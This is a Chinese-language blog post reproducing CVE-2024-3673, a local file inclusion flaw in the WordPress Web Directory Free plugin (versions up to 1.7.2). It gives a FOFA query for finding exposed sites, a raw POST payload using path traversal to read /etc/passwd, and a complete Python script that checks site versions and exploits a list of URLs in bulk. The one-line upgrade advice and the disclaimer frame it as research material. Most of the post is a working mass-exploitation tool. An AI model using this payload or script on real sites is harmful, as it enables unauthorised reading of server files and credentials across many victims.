WordPress Web Directory Free插件本地包含漏洞复现(附脚本)(CVE-2024-3673)

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

0x01 产品描述:

Web Directory Free 是一款用于 WordPress 的免费插件,主要用于创建和管理在线目录网站。它允许用户轻松地添加、管理和展示各种目录条目,例如企业列表、服务提供商、地点信息等。这款插件非常适合需要构建商业目录、黄页网站或类似平台的用户。
0x02 漏洞描述:

Web Directory Free插件在函数中使用参数之前无法验证参数,从而导致本地文件包含 (LFI)。这允许未经身份验证的攻击者读取服务器上的敏感文件。

0x03 影响版本:

Web Directory Free <= 1.7.2
0x04 搜索语句:

复制代码
Fofa:body="/wp-content/plugins/web-directory-free"


0x05 漏洞复现:

复制代码
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: your-ip

from_set_ajax=1&action=w2dc_controller_request&template=../../../../../etc/passwd

0x06 批量检测脚本:

复制代码
批量检测:
python poc.py -l url.txt -f [读取路径]
单个检测:
python poc.py -u your-ip -f [读取路径]
默认路径:
python poc.py -u your-ip

import argparse
import re
import requests
from packaging import version
import urllib3
from urllib.parse import urljoin

# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
    print("\033[36m" + """
    ****************************************************
    *             WordPress插件漏洞检测工具             *
    *        Web Directory Free插件LFI漏洞检测         *
    *            版本: 1.7.2及以下存在漏洞             *
    *                 作者: iSee857                    *
    ****************************************************
    """ + "\033[0m")

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def get_plugin_version(url: str) -> str:
    version_url = urljoin(url, "/wp-content/plugins/web-directory-free/readme.txt")
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
    }
    try:
        response = requests.get(version_url, headers=headers, verify=False, timeout=10)
        response.raise_for_status()
        match = re.search(r"Stable tag:\s*(\d+\.\d+\.\d+)", response.text)
        if match:
            return match.group(1)
        else:
            print(f"[!] 无法从 {url} 的 readme.txt 中提取版本信息。")
            return None
    except requests.RequestException as e:
        print(f"[!] 获取 {url} 的版本信息时出错: {e}")
        return None

def is_vulnerable(version_str: str) -> bool:
    vulnerable_version = "1.7.2"
    return version.parse(version_str) <= version.parse(vulnerable_version)

def exploit_vulnerability(url: str, target_file: str) -> None:
    exploit_path = urljoin(url, "/wp-admin/admin-ajax.php")
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    payload = f"from_set_ajax=1&action=w2dc_controller_request&template={target_file}"
    try:
        response = requests.post(exploit_path, headers=headers, data=payload, verify=False, timeout=10)
        response.raise_for_status()
        if response.status_code == 200:
            print(f"[+] 漏洞利用成功!目标文件内容如下:\n{response.text}")
        else:
            print(f"[-] 漏洞利用失败,服务器返回状态码: {response.status_code}")
    except requests.RequestException as e:
        print(f"[!] 漏洞利用过程中出错: {e}")

def check_single_url(url: str, target_file: str) -> None:
    print(f"\n[+] 正在检测目标: {url}")
    plugin_version = get_plugin_version(url)
    if plugin_version:
        print(f"[*] 检测到插件版本: {plugin_version}")
        if is_vulnerable(plugin_version):
            print("[+] 该站点存在漏洞!")
            exploit_vulnerability(url, target_file)
        else:
            print("[-] 该站点不存在漏洞。")
    else:
        print("[-] 无法获取插件版本信息,跳过检测。")

def main():
    banner()
    parser = argparse.ArgumentParser(description="检测Web Directory Free WordPress插件中的LFI漏洞(版本1.7.2及以下)。")
    parser.add_argument("--url", "-u", help="目标URL(例如:http://example.com)")
    parser.add_argument("--file", "-f", default="../../../../../etc/passwd", help="要读取的目标文件(默认:/etc/passwd)")
    parser.add_argument("--list", "-l", help="包含多个URL的文件路径")
    args = parser.parse_args()

    if not args.url and not args.list:
        print("[-] 请提供目标URL或包含URL列表的文件。")
        return

    if args.url:
        check_single_url(args.url, args.file)
    elif args.list:
        urls = read_file(args.list)
        for url in urls:
            check_single_url(url, args.file)

if __name__ == "__main__":
    main()


0x07 修复建议:

将 Web Directory Free 插件升级到版本 1.7.3 或更高版本

相关推荐
网安INF42 分钟前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
lubiii_1 小时前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学
moongoblin2 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作
Fortinet_CHINA2 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
网络·安全
这儿有一堆花3 小时前
安全访问家中 Linux 服务器的远程方案 —— 专为单用户场景设计
linux·服务器·安全
上海云盾第一敬业销售6 小时前
高防IP可以防护什么攻击类型?企业网络安全的第一道防线
网络·tcp/ip·web安全
饮长安千年月6 小时前
JavaSec-SpringBoot框架
java·spring boot·后端·计算机网络·安全·web安全·网络安全
大咖分享课7 小时前
容器安全最佳实践:云原生环境下的零信任架构实施
安全·云原生·架构
淡水猫.8 小时前
ApacheSuperset CVE-2023-27524
安全·web安全
恰薯条的屑海鸥8 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
网络·学习·安全·web安全·渗透测试·csrf·网络安全学习